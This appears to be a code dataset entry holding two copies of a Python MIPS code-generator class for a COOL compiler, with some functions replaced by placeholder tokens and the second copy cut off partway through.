"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n\n def push(self):\n self.write_file('sw $a0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n\n def pop(self, dest=None):\n self.write_file(f'addiu $sp $sp 4')\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n\n @visitor.on('node')\n def visit(self, node):\n pass\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n\n @visitor.when(cil.Function)\n def visit(self, node: cil.Function):\n self.write_file(f'function_{node.name}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}')\n for i in range(len(node.args)):\n self.offset[node.args[i].name] = 12 + i * 4\n for i in range(len(node.vlocals)):\n self.offset[node.vlocals[i].name] = i * -4\n for inst in node.body:\n if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div):\n inst.id = self.new_labels_id()\n self.visit(inst)\n self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}')\n self.write_file('jr $ra')\n self.write_file('')\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Plus)\n def visit(self, node: cil.Plus):\n self.write_file('# +')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('add $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Minus)\n def visit(self, node: cil.Minus):\n self.write_file('# -')\n if isinstance(node.left, int):\n self.write_file('li $a0 {}'.format(node.left))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sub $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n\n @visitor.when(cil.Goto)\n def visit(self, node: cil.Goto):\n self.write_file('# GOTO')\n self.write_file('j _cil_label_{}'.format(node.label))\n self.write_file('')\n\n @visitor.when(cil.IfGoto)\n def visit(self, node: cil.IfGoto):\n self.write_file('# IF GOTO')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.condition]))\n self.write_file('bnez $a0, _cil_label_{}'.format(node.label))\n self.write_file('')\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_int(self):\n self.write_file('function_IO_in_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $t0 $v0')\n self.write_file('li $v0 5')\n self.write_file('syscall')\n self.write_file('sw $v0 12($t0)')\n self.write_file('move $v0 $t0')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_string(self):\n self.write_file('function_IO_in_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('sw $v1 12($v0)')\n self.write_file('move $t5 $v0')\n self.write_file('la $a0 str_buffer')\n self.write_file('li $a1 1025')\n self.write_file('li $v0 8')\n self.write_file('syscall')\n self.write_file('move $a0 $0')\n self.write_file('la $t2 str_buffer')\n self.write_file('_in_string_str_len_:', tabbed=False)\n self.write_file('lb $t0 0($t2)')\n self.write_file('beq $t0 $0 _end_in_string_str_len_')\n self.write_file('beq $t0 10 _end_in_string_str_len_')\n self.write_file('addiu $a0 $a0 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _in_string_str_len_')\n self.write_file('_end_in_string_str_len_:', tabbed=False)\n self.write_file('sw $a0 12($v1)')\n self.allocate_memory()\n self.write_file('la $t4 str_buffer')\n self.write_file('move $t1 $v0')\n self.write_file('_in_str_copy_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_copy_')\n self.write_file('beq $t0 10 _end_in_str_copy_')\n self.write_file('sb $t0 0($t1)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('j _in_str_copy_')\n self.write_file('_end_in_str_copy_:', tabbed=False)\n self.write_file('sw $v0 16($t5)')\n self.write_file('la $t4 str_buffer')\n self.write_file('_in_str_clean_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_clean_')\n self.write_file('sb $0 0($t4)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _in_str_clean_')\n self.write_file('_end_in_str_clean_:', tabbed=False)\n self.write_file('move $v0 $t5')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_string(self):\n self.write_file('function_IO_out_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 16($a0)')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def conforms(self):\n self.write_file(f'function_{CONFORMS_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'lw $t1 16($fp)')\n self.write_file(\n f'beq $t1 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_true_'\n )\n self.write_file('_conforms_loop_:', tabbed=False)\n self.write_file('beq $t0 $t1 _conforms_ret_true_')\n self.write_file(\n f'beq $t0 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_false_'\n )\n self.write_file('mulu $t0 $t0 4')\n self.write_file('addu $t0 $t0 $s2')\n self.write_file('lw $t0 0($t0)')\n self.write_file('j _conforms_loop_')\n self.write_file('_conforms_ret_true_:', tabbed=False)\n self.write_file('li $v0 1')\n self.write_file('j _conforms_ret_')\n self.write_file('_conforms_ret_false_:', tabbed=False)\n self.write_file('li $v0 0')\n self.write_file('_conforms_ret_:')\n self.write_file('jr $ra')\n self.write_file('')\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n\n def push(self):\n self.write_file('sw $a0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n\n def pop(self, dest=None):\n self.write_file(f'addiu $sp $sp 4')\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n\n @visitor.on('node')\n def visit(self, node):\n pass\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n 